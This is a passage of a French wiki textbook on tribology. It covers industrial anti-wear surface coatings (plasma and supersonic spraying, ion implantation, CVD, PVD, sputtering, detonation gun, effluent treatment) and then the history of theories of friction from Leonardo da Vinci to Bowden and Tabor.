torches à plasma permettent d'obtenir des températures beaucoup plus élevées qu'avec les simples chalumeaux (jusqu'à 18000 °C) et des vitesses de projection largement supersoniques pouvant atteindre Mach 2. On dépose par ce procédé des matériaux non métalliques, surtout des oxydes très réfractaires de chrome, d'aluminium ou de titane. La résistance à la corrosion est excellente et la tenue à l'usure permet de préconiser ce type de revêtement pour les portées de joints d'étanchéite soumises à des conditions sévères, les pistons, arbres de pompes ou douilles d'usure diverses. Les revêtements de carbure de tungstène fondu fournissent l'une des meilleures solutions possibles pour résoudre les problèmes d'abrasion les plus sévères. Ceci concerne de très nombreuses pièces actives des broyeurs, des mélangeurs, des systèmes de râclage, les vis de briquetterie et les vis d'Archimède qui servent au transport de produits minéraux, de céréales, etc. === Projection supersonique === Des particules métalliques sont introduites dans une veine gazeuse en combustion (2800°C). Les températures sont plus basses qu'avec le plasma mais les vitesses de projection sont très élevées, jusqu'à Mach 5 à Mach 6 au moment de l'impact. Les revêtements ainsi obtenus sont parmi les meilleurs que l'on sache obtenir, par leur homogénéité, leur absence de porosité et leur excellent accrochage sur le support. La dureté est très élevée. Les matériaux les plus couramment utilisés sont les aciers inoxydables, les bronzex, le cuivre, les superalliages, les carbures de tungstène et de chrome, les stellites. Le procédé est recommandé pour les pièces de guidage, les rails de glissières, les turbines et les pompes destinées aux liquides chargés et corrosifs. === Plasma transféré, soudage, stellitage === Il s'agit d'une adaptation des procédés ARC, MIG et TIG, applicable au dépôt par soudures de la plupart des métaux sous forme de couches très épaisses. On la préconise pour la remise en état des pièces très fortement usées. Les matériaux souvent déposés par ce procédé sont les alliages à base de cobalt (stellites), les aciers inoxydables et réfractaires, le nickel associé au carbure de tungstène. On traite de cette façon les clapets, sièges de vannes, douilles d'usure de toutes sortes, ainsi que les vis d'extrusion. Douilles d'usure === Projection de mélanges === Le revêtement '''SlidCoat''', de la société Métallisation Nord industrie, comporte un mélange céramique-polymère. L'adjonction de divers thermoplastiques de type PTFE ou silicone dans des carbures ou des céramiques projetés par voie thermique améliore la résistance à l'usure. La difficulté consiste à éviter la dégradation du thermoplastique sous l'effet des hautes températures. Ce revêtement est utilisé dans des domaines tels que l'imprimerie, l'agroalimentaire, la plasturgie, l'automobile ou l'aéronautique. Il remplace les revêtements traditionnels avec une tenue aux chocs mécaniques et à la flexion largement supérieures. Le polymère est par ailleurs hydrophobe et résiste à la corrosion et à l'abrasion. Le revêtement '''Carflon''' proposé par la même société est un composite de carbure de tungstène et de PTFE projeté à une vitesse largement supersonique (mach6) à l'aide d'un appareil à détonation. Il est très dur, résiste aux chocs, à l'abrasion, à la corrosion de contact et à de nombreux produits chimiques. Il est de plus anti-adhérant et présente un faible coefficient de frottement en face de nombreux autres matériaux. === Liens externes === *'''Applimeca''' [http://www.applimeca.fr/] société spécialisée dans les procédés de revêtements thermiques. *'''Diamco''' [http://www.barratgroup.com/] société spécialisée dans la fabrication de torches plasma. *'''Métallisation Nord Industrie''' [http://www.mni-hi-tech.com], société française spécialisée dans les traitements et revêtements de surface anti-usure. *'''Vatis Produits anti-usure''' [http://www.vatis.be], société belge offrant une gamme complète de produits anti-abrasion. *'''Vautid''' [http://www.vautid.de/] société allemande spécialisée dans les procédés de rechargement de pièces mécaniques (stellites, fontes spéciales, etc.). == Implantation ionique == Dans un premier temps les ions du matériau sélectionné bombardent et nettoyent la surface à traiter puis, accélérés à plus haute tension, quelques centaines de keV, ils s'introduisent sur environ 1/2 micromètre dans l'épaisseur de la pièce dont ils modifient la composition chimique et les propriétés physiques. Il n'y a pas d'échauffement notable de la surface traitée, qui ne se déforme pas et ne change pas de rugosité. Comme il n'y a pas d'interface, il n'y a pas non plus de problème d'adhérence sur le substrat mais la température limite d'utilisation des couches implantées ne dépasse pas 250-300 °C. On traite couramment l'acier, le titane, les métaux réfractaires ou les revêtements comme le chrome dur, sur lesquels on implante de l'azote, du chrome, du molybdène, du titane, du bore, du carbone ... ; plus spécialement contre le frottement, on emploie du nitrure de titane très dur, du fer, de l'aluminium, des alliages fer-cadmium ou aluminium-cadmium ... L'implantation ionique est facile à industrialiser et particulièrement intéressante pour des pièces de haute précision finies d'usinage. Il n'y a pas de pollution chimique et on note une plus grande diversité de matériaux déposables et de substrats possibles qu'avec le dépôt chimique en phase gazeuse (CVD). L'azote est de loin l'élément le plus utilisé. Le coefficient de frottement est alors inchangé mais le régime d'usure douce qui s'installe diminue la vitesse de dégradation d'un facteur 10 à 30, par exemple pour l'acier 35 CD 4, et il y a moins de risques lors du rodage. On améliore la résistance à la piqûre des aciers inoxydables par l'implantation de molybdène et de chrome, et la résistance à l'oxydation avec l'aluminium ou l'yttrium. Parmi les applications, citons les prothèses chirurgicales, les roulements pour la construction aéronautique, les mécanismes tournants, paliers, rotules, ... dans des conditions sévères, les matrices, moules et autres outillages de précision pour les plastiques, ... On peut implanter des ions sur des métaux, mais aussi sur des céramiques ou sur des plastiques == Dépôts en phase gazeuse (C.V.D.) == Les initiales signifient Chemical Vapor Deposition. Le procédé, connu depuis 1930, a été développé industriellement à partir de 1950. Des réactifs gazeux mélangés, parfois dilués dans un gaz porteur inerte comme l'argon, arrivent au contact de la pièce chauffée entre 600 et 1200°C. Le produit des réactions, par des effets d'adsorption et de catalyse, germe et croît sur la surface pour former selon les conditions une couche pulvérulente non adhérente, une couche polycristalline à grain fin, une couche de cristaux colonnaires, voire une couche monocristalline épitaxique. Les réactions sont de type pyrolyse ou plus souvent de type réduction. Parmi les avantages, citons celui de pouvoir déposer un choix quasi illimité de matériaux en couches très pures, compactes, étanches et très adhérentes, y compris des matières réfractaires à des températures modérées et certaines substances impossibles à déposer autrement. Le dépôt est précis, facilement contrôlable, le dopage et l'épitaxie sont possibles, on peut travailler à la pression atmosphérique. En revanche, la cinétique des réactions est souvent complexe, les températures élevées peuvent modifier les structures, les gaz utilisés sont souvent toxiques, explosifs ou corrosifs, les temps de traitement peuvent être très longs. Il existe quelques limitations à connaître ; par exemple, les lois de la thermodynamique autorisent de déposer de l'aluminium sur du chrome mais non l'inverse. En outre, le coût est élevé. On dépose contre l'usure des couches de protection en tantale, niobium, en céramiques ... La durée de vie des outils peut être multipliée par un facteur qui peut aller de 2 à 100 grâce à des revêtements de carbures et nitrures de titane, d'alumine, de borures, de carbure de tungstène, de nitrure d'hafnium ... La structure des alliages quasicristallins a révolutionné la cristallographie classique. Au-delà de cette curiosité scientifique, ces alliages stables présentent des propriétés singulières. Les techniques de projection thermique et de PVD (dépôt physique en phase vapeur) permettent d'en réaliser des revêtements de surface où leurs propriétés s'expriment pleinement. Ils peuvent être déposés sur la plupart des substrats (aluminium, cuivre, acier, acier inoxydable, céramiques, oxydes, silicium.) avec un excellent niveau d'adhérence et de compacité. Applications : protection de surface contre l'usure par frottement, rayures, agressions mécaniques, antiadhérence y compris dans le domaine alimentaire, barrières thermiques jusqu'à 900°C, couches d'accrochage superplastiques, tribologie (bas coefficient de frottement). === Dépôts de carbone amorphe ou cristallisé === * La société suisse Bernex réalise par dépôt chimique en phase vapeur activée par plasma des dépôts de carbone amorphe, à basse température (200°C). Le dépôt est à la fois extrêmement dur et très élastique. * Les revêtements minces ultra-durs '''Casidiam''' ® (Société APS) forment une couche de carbone amorphe dopé qui associe des amas graphitiques dans une matrice de type diamant. Le dépôt se fait sous-vide, à basse température (150 à 200°C), par la technique PECVD qui est une condensation de vapeurs chimiques assistée par plasma radiofréquence. On peut revêtir tous les métaux sauf l'or, le cuivre et ses alliages, le nickel brillant électrolytique, ainsi que d'autres matériaux comme le verre. La couche déposée est amorphe, très dure (25000 à 40000 MPa), son épaisseur uniforme va de 0,1 à 30 µm sur les substrats conducteurs, elle ne présente aucune porosité et forme une barrière contre les agressions extérieures ; sa couleur est gris anthracite ou irisée pour les faibles épaisseurs. Son coefficient de frottement est très faible contre de nombreux matériaux antagonistes. Cette couche est inerte chimiquement et résiste très bien aux acides, bases et solvants ; elle est aussi biocompatible et ostéo-intégrable sans réactions allergiques. Applications en mécanique pour les outils coupants, les roulements, les engrenages, les axes et paliers, les moteurs, en plasturgie pour le revêtement des moules, en électronique pour obtenir des dépôts à la fois bons isolants électriques et bons conducteurs de la chaleur, dans le domaine médical pour les prothèses, les instruments chirurgicaux, en optique à cause de la transparence à l'infrarouge. Propriétés diverses : ** bonne conduction de la chaleur, ** très bonne adhésion du dépôt sur les métaux et semi-conducteurs par formation d'une couche de carbure à l'interface, bonne adhérence sur le verre, ** isolation électrique : résistivité 108 à 1013 ohm/cm,tension de claquage > 106 V/cm, ** inertie chimique : résiste aux acides, bases, solvants, ** insensible à l'irradiation, ** dépôt étanche à l'hydrogène, excellentes propriétés anticorrosion, ** transparence dans l'infrarouge. === Liens externes === * Société '''APS''' [[http://www.aps-internl.com/html/fr/fr_present.htm]] == Revêtements physiques sous vide (P.V.D.) == PVD est l'acronyme de Physical Vapor Deposition, autrement dit dépôt physique en phase vapeur. Le procédé utilise l'évaporation sous vide du matériau à déposer ; souvent, les vapeurs sont accélérées par un champ électrique. Ce procédé convient essentiellement aux petites pièces, où il provoque peu de distorsions des surfaces. Il est possible de réaliser des dépôts sur des métaux non ferreux ou des alliages légers. Le carbure de tungstène déposé par P.V.D. sur une très fine couche d'adhérence de nickel donne des surfaces lisses et brillantes reproduisant celles du matériau de base, rayures et éraflures comprises. Eventuellement, on peut obtenir des couches mates et rugueuses polissables avec des outils diamantés. Les couches brillantes sont préférables en frottement et constituent une alternative aux traitements de cémentation, nitruration ou boruration. L<nowiki>'</nowiki>'''évaporation sous vide assistée par plasma''' ou «'''ion plating'''» est pratiquée dans une enceinte où règne un vide de l'ordre de 10<sup>-4</sup> Pa. Le matériau à déposer (chrome, titane, ...) est vaporisé par un faisceau d'électrons ou par un arc électrique. Les pièces à revêtir sont portées à un potentiel cathodique de 1 à 3 kV par rapport à l'enceinte, tandis qu'on introduit un ou plusieurs gaz (azote, méthane, ...) qui vont intervenir dans les réactions. L'excitation des molécules dans le plasma permet de synthétiser à «basse» température (environ 500°C) des composés réfractaires comme le nitrure de titane TiN (jaune), le carbonitrure de titane TiCN (gris-violacé), le nitrure de chrome CrN, etc. La décharge est amorcée sous argon, avant le dépôt proprement dit, pour obtenir un «nettoyage ionique» favorable à l'accrochage du dépôt. Les épaisseurs des couches obtenues sont de l'ordre de 2 à 3 microns. Ce procédé est utilisé, entre autres, pour le revêtement des outils d'[[w:fr:emboutissage|emboutissage]], il en est question dans le chapitre consacré aux [[Tribologie - Applications pratiques|applications de la tribologie]]. === Revêtement quasicristallins === Voici quelques années, la cristallographie a été bouleversée par la découverte des quasi-cristaux, arrangements atomiques ne respectant pas les symétries habituelles en la matière. On commence seulement à exploiter les propriétés singulières de ces matériaux, entre autres quand ils prennent la forme de revêtements de surfaces. Les méthodes de projection thermique et de PVD permettent de revêtir de nombreux matériaux : aluminium, cuivre, acier, acier inoxydable, céramiques, oxydes, silicium. L'accrochage sur le substrat et la compacité sont excellents. Ces dépôts offrent une protection contre diverses formes d'usure ou d'autres agressions mécaniques, ils résistent à des températures élevées. Par rapport à des pièces non traitées, le coefficient de frottement est généralement fortement diminué. En outre, les propriétés anti-adhérence de ces matériaux les font apprécier dans les industries alimentaires. === Liens externes === '''Société APS''' : [http://www.aps-internl.com/html/fr/fr_present.htm] == Déposition de poudre == Le slurrycoating consiste à projeter des poudres en suspension dans un liant qui est ensuite éliminé au cours du chauffage nécessaire à la diffusion des matériaux. On peut déposer, localement si besoin est, des quantités aussi faibles que 0,01 g/cm<sup>2</sup>. == Pulvérisation cathodique magnétron (P.C.M.) == On améliore le procédé classique de pulvérisation cathodique en superposant un champ magnétique au champ électrique qui règne entre la pièce de métal à déposer et la cible. La vitesse de dépôt est sensiblement accrue, on obtient une couche très compacte, exempte de fissures, qui affecte bien moins la résistance à la fatigue du substrat que les dépôts galvaniques tout en évitant la fragilisation par l'hydrogène. On peut ainsi déposer des couches très dures de chrome ou de molybdène. Des couches d'alliages ternaires [[w:fer|fer]]-[[w:molybdène|molybdène]]-[[w:soufre|soufre]] proches de la composition Fe-Mo<sub>2</sub>-S<sub>4</sub> ont été essayées avec un certain succès en vue de permettre le frottement sec d'un acier XC 38 face à des surfaces antagonistes d'acier 16 NC 6 cémenté trempé. Les pièces sont d'abord soigneusement nettoyées et dégraissées, puis introduites dans l'enceinte de pulvérisation. Après que l'on a fait le vide (10<sup>-6</sup> torr), on introduit un courant d'argon et on soumet la pièce à un décapage ionique sous une tension de 3500 V. Une sous-couche d'adhérence d'alliage fer-[[molybdène]] de 2 μm est alors déposée, puis la pièce reçoit un dépôt de 5 μm d'épaisseur de l'alliage ternaire. Le coefficient de frottement varie avec le matériau antagoniste et se révèle particulièrement bas en présence d'une couche de [[w:nickel|nickel]]. == Alliages de surface par refusion laser == Le laser permet d'obtenir une fusion et une diffusion très rapide et très superficielle des dépôts, sur quelques micromètres seulement, et l'obtention de structures fines par refroidissement brutal. La diffusion de nickel dans les alliages légers améliore très nettement la résistance à l'usure. == Revêtement par canon à détonation == Le procédé « D. Gun » d'Union Carbide a été inventé il y a une quarantaine d'années. Un mélange acétylène-oxygène détonant dans un canon projette des poudres très fines sur les surfaces, à des vitesses atteignant 750 m/s et à des températures de l'ordre de 4000°C. Il en résulte des revêtements exceptionnellement homogènes et adhérents, sans toutefois que la température du substrat soit extrêmement élevée. Contrairement à d'autres procédés qui provoquent l'apparition de contraintes résiduelles de traction dans les dépôts, ici l'on note l'apparition par « autogrenaillage » de contraintes résiduelles de compression favorables à la résistance à l'usure et aux pressions de contact élevées. On projette ainsi divers mélanges de carbures de chrome, de tungstène, de titane, ou des alliages cobalt-molybdène-chrome intéressants pour lutter contre l'usure. == Notes diverses == * Les céramiques sont très sensibles aux défauts superficiels, d'où l'intérêt des traitements de surface qui sont un des moyens essentiels de les rendre fiables. On peut faire diffuser un ou plusieurs éléments d'apport, par exemple du cobalt, du cuivre, du magnésium, utiliser les dépôts chimiques (CVD) ou physiques en phase vapeur (PVD), diminuer les porosités par laser, implanter des ions. Le problème essentiel de la métallisation est l'accrochage des couches. * Le dépôt simultané d'un film métallique de plomb avec du bisulfure de molybdène permet de fonctionner à sec pendant un certain temps sans gros dégâts, de graisser à vie des organes peu chargés, d'améliorer les états de surface. == Problèmes de pollution == Les traitements et surtout les revêtements de surfaces utilisent des bains très acides ou très basiques, presque toujours chargés de produits hautement toxiques comme les cyanures, les métaux lourds, ... Les effluents doivent être traités, ce qui se révèle toujours difficile et coûteux. On essaie donc avant tout d'en réduire la production. La réglementation évolue sans cesse. Des produits comme le chrome hexavalent ou le cadmium vont être interdits, il faut leur trouver des remplaçants. Hélas, on ne fait souvent que déplacer le problème : par exemple, le zinc-nickel utilisé pour remplacer le chrome est un allergène puissant et son élimination est finalement plus difficile. On pourrait théoriquement récupérer la totalité des métaux lourds contenus dans les déchets mais le plus souvent c'est l'enfouissement qui s'impose, pour des raisons économiques. La recherche de méthodes de dépollution plus efficaces et moins onéreuses prend une importance croissante. En France, quelques entreprises de traitement de surfaces comme la société « L'Électrolyse » [http://siren460200645.societes.org/], installée depuis plus de 100 ans à Latresne, près de Bordeaux, ont décidé non seulement de traiter elles-mêmes leurs propres effluents, mais aussi d'offrir leurs services pour le traitement de ceux émis par d'autres industries. Le premier travail consiste à identifier et caractériser précisément les produits et à déterminer le meilleur traitement possible, ce qui suppose l'installation d'un laboratoire d'analyse puissamment équipé. Chaque année, de 6 à 8 000 tonnes de déchets passent à Latresne pour donner seulement 800 tonnes de déchets solides. == Voir aussi == * dans Wikipédia : [[W:Traitement de surface|Traitement de surface]] * [[Tribologie - Traitements anti-usure]] Tribologie - Genèse des frottements 981 43133 2006-05-25T13:18:23Z Jean-Jacques MILAN 114 /* Frottement, microstructures et recherche tribologique */ Le frottement à distance [[Catégorie:Tribologie]] {{Tribologie}} Les causes du frottement, telles qu'on les imagine de nos jours, sont multiples et interdépendantes. De tous temps on a cherché à comprendre ce phénomène, avec plus ou moins de succès, par la spéculation intellectuelle et par l'expérience. C'est aux Anglais Bowden et Tabor que l'on doit d'avoir énoncé pour la première fois des idées claires sur le sujet, mais il est intéressant de considérer les cheminements intellectuels qui ont été suivis au cours des siècles. Une étude complète du problème ne saurait se limiter aux seules surfaces d'objets réputés secs et propres, puisqu'une partie au moins des résistances passives a son origine à l'intérieur même des matériaux et dans les films lubrifiants solides, liquides et gazeux dont on fait largement usage dans les machines. Le frottement '''immédiat''' entre deux pièces mécaniques, c'est-à-dire celui qui a lieu sans interposition du moindre produit, lubrifiant ou autre, est l'exception. Le frottement '''médiat''', qui met en jeu d'autres éléments que les deux pièces dont on veut assurer le contact, est la règle. == Imbrication des aspérités == Jusqu'au 18e siècle c'est la cause du frottement la plus fréquemment invoquée : on peut citer les travaux de [[w:Léonard de Vinci|Léonard de Vinci]] (vers 1500), [[w:Guillaume Amontons|Guillaume Amontons]] (1699), [[w:Antoine Parent|Antoine Parent]] (1704), [[w:Bernard Forest de Bélidor|Bernard Forest de Bélidor]] (1737), [[w:Leonhard Euler|Leonhard Euler]] (1748), [[w:Charles de Coulomb|Charles-Augustin de Coulomb]] (1781). Léonard de Vinci s'intéressa à l'étude de la mécanique, pratiquement abandonnée depuis l'époque des grecs antiques. Ses recherches sur les mouvements l'ont amené à pressentir les notions d'inertie, de moment, de rendement, de frottement, de centre de gravité. Cent ans avant Galilée, il entrevit également la notion de conservation de l'énergie. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Tribometre Vinci_1.jpg|250px]] |- align=center | <small>'''Tribomètre de Vinci'''</small> |- align=center |[[Image:Frottement selon Belidor.png|250px]] |- align=center | <small>'''Frottement selon Belidor'''</small> |- align=center |[[Image:Atomes selon Belidor.png|175px]] |- align=center | <small>'''Atomes selon Belidor'''</small> |} Contrairement à une idée reçue, Léonard de Vinci a beaucoup plus dessiné de mécanismes qu'il n'en a réalisés. Ses esquisses de machines à mesurer les forces de frottement, très semblables à celles qui seront réalisées par Coulomb trois siècles plus tard, sont les ancêtres des tribomètres. Les lois fondamentales de Léonard de Vinci, qui furent redécouvertes deux siècles plus tard par Amontons, s'énoncent ainsi : * les forces de frottement varient en proportion des forces normales aux surfaces en contact, * elles sont indépendantes de l'aire apparente de contact des surfaces en présence, * elles dépendent des matériaux et de l'état de leurs surfaces. Amontons remarqua que l'effort des polisseurs de glace ne dépendait pas de l'aire du polissoir mais seulement de l'effort normal de pression. Bélidor imaginait les surfaces comme formées d'aspérités hémisphériques régulières (sans doute pensait-il à des atomes), celles d'une surface devant être franchies par celles de l'autre. Si l'on dispose trois sphères selon un arrangement triangulaire, une quatrième sphère venant se loger dans la « niche » formée par les trois premières doit franchir un obstacle avant qu'on puisse la faire glisser. Une fois qu'elle est « montée » au-dessus des autres, le déplacement doit être plus facile. Bélidor rapporta la valeur de l'effort tangentiel nécessaire pour déplacer une rangée de sphères par rapport à l'autre à l'effort normal qui presse les deux rangées, et trouva la valeur : <math>f=\frac{1}{\sqrt{8}} \approx 0,35</math> Cette valeur, issue d'une théorie qui peut nous paraître aujourd'hui bien naïve, correspond tout de même assez bien aux valeurs du facteur de frottement obtenues avec des matériaux communs comme le bois, le fer, la pierre frottant à sec dans l'air. Non seulement elle fournit des valeurs réalistes, mais de plus elle rend compte du fait que le facteur de frottement statique est généralement un peu plus fort que le facteur de frottement dynamique : il est généralement plus facile d'entretenir un mouvement que de le provoquer. [[w:Henri Poincaré|Henri Poincaré]] ne disait-il pas ''« qu'une théorie n'a pas besoin d'être juste, pourvu qu'elle soit utile »'' ? La théorie de Bélidor fut assez vite contestée et [[w:Claude Louis Marie Henri Navier|Navier]], qui réédita en 1819 les travaux de Bélidor, écrivit dans une note de bas de page : « Les expériences d'Amontons, dont Bélidor vient de parler, se trouvent dans les ''Mémoires de l'Académie des Sciences'' pour 1699. L'auteur conclut que la résistance provenant du frottement est indépendante de la grandeur des surfaces en contact, ce qui a été confirmé depuis. ; qu'elle st à peu près la même pour le bois, le fer, le cuivre, le plomb, etc., quand ces diverses substances sont enduites de vieux oing, et environ le tiers de la pression : on va voir plus bas les rectifications dont ce dernier résultat est susceptible. Il n'est pas besoin de dire combien la supposition des demi-sphères hérissant la surface des corps, sur laquelle Bélidor peut appuyer le résultat expérimental d'Amontons, mérite peu d'attention. Je ne m'arrêterai pas non plus, pour ne point charger ces notes de remarques inutiles, à la démonstration géométrique fondée sur cette hypothèse, démonstration qui est très fautive. » Il est en effet assez facile d'imaginer que pour que la théorie de Bélidor ait un sens, les atomes des deux pièces doivent s'imbriquer les uns dans les autres, ce qui est hautement improbable avec les objets usuels. Non seulement il faudrait que les atomes aient la même organisation au niveau des deux surfaces, ce qui n'est guère possible qu'avec des cristaux parfaits, mais ils devraient en outre avoir des structures de même dimension et convenablement orientées. Cela fait beaucoup de conditions. Néanmoins, comme nous le verrons plus loin dans le paragraphe dédié aux frotttements ultrafaibles, les études sur le frottement à l'échelle atomique sont revenues à la mode depuis quelques années. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Appareil_de_Coulomb.jpg|300px]] |- align=center | <small>'''Appareil de Coulomb'''</small> |} Les lois de Léonard de Vinci et Guillaume Amontons ont été complétées par Coulomb qui, remarquant la différence réelle mais souvent légère des efforts de frottement statique et dynamique, a admis qu'en outre : * les forces de frottement sont pratiquement indépendantes de la vitesse de glissement des surfaces. Coulomb réalisa de nombreuses expériences à l'Arsenal de Rochefort, vers 1780. Quelques éléments de son appareillage sont reproduits ci-dessous : À cette époque on estimait le coefficient de frottement sec des métaux à des valeurs de l'ordre de 1/3 à 1/4. Les travaux ont été souvent repris par la suite, en particulier par [[w:Arthur Morin|Arthur Morin]] qui effectua un grand nombre de mesures sur des corps très variés, lubrifiés ou non, confirmant que les lois de Coulomb doivent être regardées « comme exactement conformes aux effets naturels et non plus comme des règles approchées dont on pouvait faire usage dans les applications aux arts sans s'exposer à des erreurs dangereuses ». D'après certaines sources, les lois du frottement auraient été énoncées par Arthur Morin en 1831, avant Coulomb. [[w:Gustave-Adolphe Hirn|Gustave-Adolphe Hirn]], en 1847, distinguait le frottement médiat et le frottement immédiat, suivant la présence ou non de lubrifiant. S'il put confirmer les résultats de Coulomb relatifs au frottement sec, en revanche il reconnut l'influence d'autres facteurs en présence de lubrifiant : étendue des surfaces en regard, charge, vitesse, durée des essais, température. Il essaya même l'air comme lubrifiant, trouvant alors des coefficients de frottement de 1/10000. == Attraction interatomique ou intermoléculaire == Si le frottement à charge faible et vitesse lente résulte pour beaucoup de l'imbrication des aspérités, cette cause n'est pas la seule. En effet, le frottement des corps polis n'est pas nul, bien au contraire, il y a même un optimum de rugosité ... {| align=right style="margin: 1em 1em 1em 1em" |[[Image:Rugosite_optimale.png|300px]] |- align=center | <small>'''Rugosité optimale'''</small> |} L'effet de l'attraction moléculaire a été signalé pour la première fois en 1751 par [[w:Jean-Théophile Desaguliers|Jean-Théophile Desaguliers]]. Il a été chiffré par Coulomb qui a représenté ses résultats sous la forme : :<math>T= \beta\,N + A</math> T et N sont respectivement les charges tangentielle et normale, A est un effort tangentiel supplémentaire dû à l'adhésion. Coulomb écrit : « Le frottement ne peut provenir que de l'engrenage des surfaces et la cohérence ne doit y influer que très peu ; car nous trouvons que le frottement est, dans tous les cas, à peu près proportionnel aux pressions et indépendant de l'étendue des surfaces. Or la cohérence agirait nécessairement suivant le nombre de points de contact ou suivant l'étendue des surfaces. Nous trouvons cependant que cette cohérence n'est pas précisément nulle et nous avons eu soin de la déterminer dans les différents genres d'expériences qui ont précédé. Nous l'avons trouvée d'une livre 2/3 par pied carré pour des surfaces de chêne non encastrées. Mais, dans la pratique, la résistance qui peut venir de cette cohérence peut être négligée toutes les fois que chaque pied carré est chargé de plusieurs quintaux ». Ce sont les [[w:force de van der Waals|forces d'attraction intermoléculaire]], ou forces de van der Waals, du nom du physicien hollandais [[w:Johannes Diderik van der Waals|Johannes Diderik van der Waals]], qui permettent la cohésion des solides. Chaque atome ou molécule vibre autour d'une position d'équilibre déterminée par des forces de répulsion et d'attraction agissant simultanément ; ces dernières ne sont décelables entre deux surfaces que lorsque celles-ci sont séparées par une distance inférieure à 0,2 micromètre. Dans l'immense majorité des cas, la rugosité des pièces mécaniques est telle que leur portée ne se fait que sur quelques rares sommets d'aspérités et que partout ailleurs, leurs surfaces sont éloignées de plus de 0,2 micromètre. Les forces de cohésion restent alors pratiquement négligeables devant les autres effets. Le poli, d'ailleurs, ne change rien s'il s'accompagne de défauts de forme. Pour les cales-étalons utilisées en métrologie ou certaines pièces d'étanchéité, le haut degré de poli est associé à une excellente correction géométrique et ces surfaces adhèrent très facilement. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="3" align="center" |+ '''Mise en évidence des forces d'attraction''' |- valign=top |[[Image:Plaquettes de mitigeur_01.jpg|200px|center|]] |Ces deux plaquettes d'alumine sont les pièces maîtresses des mitigeurs modernes, comme ceux dont on équipe actuellement les sanitaires. La plus grande mesure 46x26x4 mm. Elle porte deux arrivées d'eau trapézoïdales et un orifice de sortie d'eau rectangulaire. |- valign=top |[[Image:Plaquettes de mitigeur_02.jpg|200px|center|]] |En faisant glisser la petite plaquette sur la grande, on peut démasquer plus ou moins les ouvertures trapézoïdales et donc régler à volonté les débits d'eau froide et d'eau chaude. L'étanchéité se fait directement entre les plaquettes, qui doivent donc être dotées à la fois d'un excellent poli de surface et d'une excellente planéité. |- valign=top |[[Image:Plaquettes de mitigeur_03.jpg|200px|center|]] |On parle ici de « poli optique », avec des défauts inférieurs au dixième de la longueur d'onde de la lumière (λ = 0,4 micromètre pour le violet). La distance moyenne des deux surfaces est largement inférieure à 0,2 micromètre, limite en dessous de laquelle on constate les effets des forces d'attraction. Même si ces forces n'agissent que sur une fraction de la surface, elles sont suffisantes pour que l'on puisse supporter une des plaquettes par l'intermédiaire de l'autre. Il ne s'agit absolument pas d'un effet de « ventouse », l'adhérence serait d'ailleurs beaucoup plus intense dans le vide ... |} Beaucoup de professeurs de mécanique font donc une grossière erreur lorsque, souhaitant négliger le frottement dans tel ou tel mécanisme, ils font l'hypothèse que les surfaces en contact sont parfaitement polies. [[w:P. Appell|P. Appell]] écrit dans son « Traité de mécanique rationnelle » (1926-28) que : : « Les deux corps subissent des déformations, généralement très petites, qui les mettent en contact suivant une petite portion de surface : ces déformations, permanentes si les corps sont en équilibre, sont variables quand les corps glissent les uns sur les autres ; il se produit alors des vibrations moléculaires et il se développe également de la chaleur ou de l'électricité, dont la production absorne une partie du travail des forces motrices. » Pour [[w:Marcel Brillouin|Marcel Brillouin]] (1899), le caractère micropériodique des champs de forces intermoléculaires superficiels fait que les atomes en regard passent par une série de positions d'équilibre instables débouchant sur des phénomènes vibratoires et une perte d'énergie. Deryaguine, en 1934, a retrouvé la formulation à deux termes de Coulomb sous une forme un peu différente. [[w:Richard Feynman|Richard Feynman]] (1961) explique également la force de frottement à sec par le mouvement vibratoire des atomes transformant en chaleur l'énergie perdue lors du glissement. Les forces interatomiques sont maximales lors du contact intime, sous vide, de pièces métalliques parfaitement polies et dégazées. Les atomes de deux surfaces de cuivre, par exemple, ne « savent » alors plus très bien à quelle pièce ils appartiennent ... et cela donne évidemment une soudure puisque les forces mises en jeu sont précisément celles qui font que le cuivre est un solide. Le Professeur Courtel et son équipe du C.N.R.S. ont beaucoup travaillé à partir de la théorie de l'adhésion élastique développée par Johnson, Kendall et Roberts (1971). == Formation et cisaillement de jonctions == Le Français [[w:Fichter|Fichter]] écrivait en 1924 : « de même que l'on peut constater, sur deux corps rugueux frottant l'un sur l'autre, l'arrachement de petites particules, de même on trouve que deux surfaces polies, adhérant l'une à l'autre, par cohésion, ne peuvent être séparées par traction normale (à sec ...) sans l'arrachement de parties de ces surfaces. On est en droit de conclure qu'il y a eu, en ces points, soudure véritable ». On doit aux Britanniques Frank P. Bowden et David Tabor (à partir de 1950) la plus célèbre des théories fondées sur l'adhésion. Dans le frottement de glissement des métaux et/ou d'autres matériaux, outre les phénomènes d'enchevêtrement des rugosités, il se produirait une succession de soudures partielles suivie de l'arrachement des éléments amenés en contact. Cette théorie explique de nombreux phénomènes comme le transfert de matière entre deux corps et le frottement sur les films minces solides, mais en laisse d'autres dans l'ombre. {| style="border:1px solid darkgray; margin: 1em 1em 1em 1em" cellpadding="3" cellspacing="3" align="right" |+ '''Aire et charge de contact''' |- align=center bgcolor=#DDDDDD | Charge || Aire effective de contact |- align=center | <small>en daN</small> || <small>en cm<sup>2</sup></small> |- align=center | 500 || 0,05<font color=white>00</font> |- align=center | 100 || 0,01<font color=white>00</font> |- align=center | 5 || 0,0005 |- align=center | 2 || 0,0002 |} La première idée est l'exiguïté des zones de contact : les mesures de Bowden pour une aire théorique de contact de 21 cm² (telle que l'on pourrait la dessiner sur un plan) donnent le tableau ci-contre L'aire réelle de contact est mesurable à partir de la résistance électrique. Elle est minuscule, indépendante de l'aire théorique, et dans un large domaine elle varie proportionnellement à la charge. Il en résulte de '''très fortes pressions''' (ici, 1000 N/mm²) qui, paradoxalement, ne changent guère avec la charge. C'est par ailleurs au voisinage des petites zones de contact que la puissance perdue par frottement se transforme en chaleur. Si des phénomènes comme le polissage montrent que l'on atteint au moins la température de fusion du matériau le plus fusible, certains auteurs parlent de [[w:plasma|plasma]] (milieu gazeux ionisé avec des concentrations électroniques et ioniques à peu près équilibrées), avançant des valeurs telles que 100 000 °C, sur des épaisseurs de quelques dizaines de diamètres atomiques. De toute manière, les températures sont très élevées. Les fortes pressions et les fortes températures sont deux facteurs favorables à la diffusion mutuelle des atomes des deux pièces. Elles se produisent ici simultanément. '''Si une filiation cristalline est possible, des microsoudures se forment et il faut les cisailler ou les arracher pour que le glissement se poursuive'''. Cela différencie deux modes de frottement, le frottement par cisaillement, acceptable, et le frottement par soudure, généralement très néfaste, dont nous reparlerons à propos de 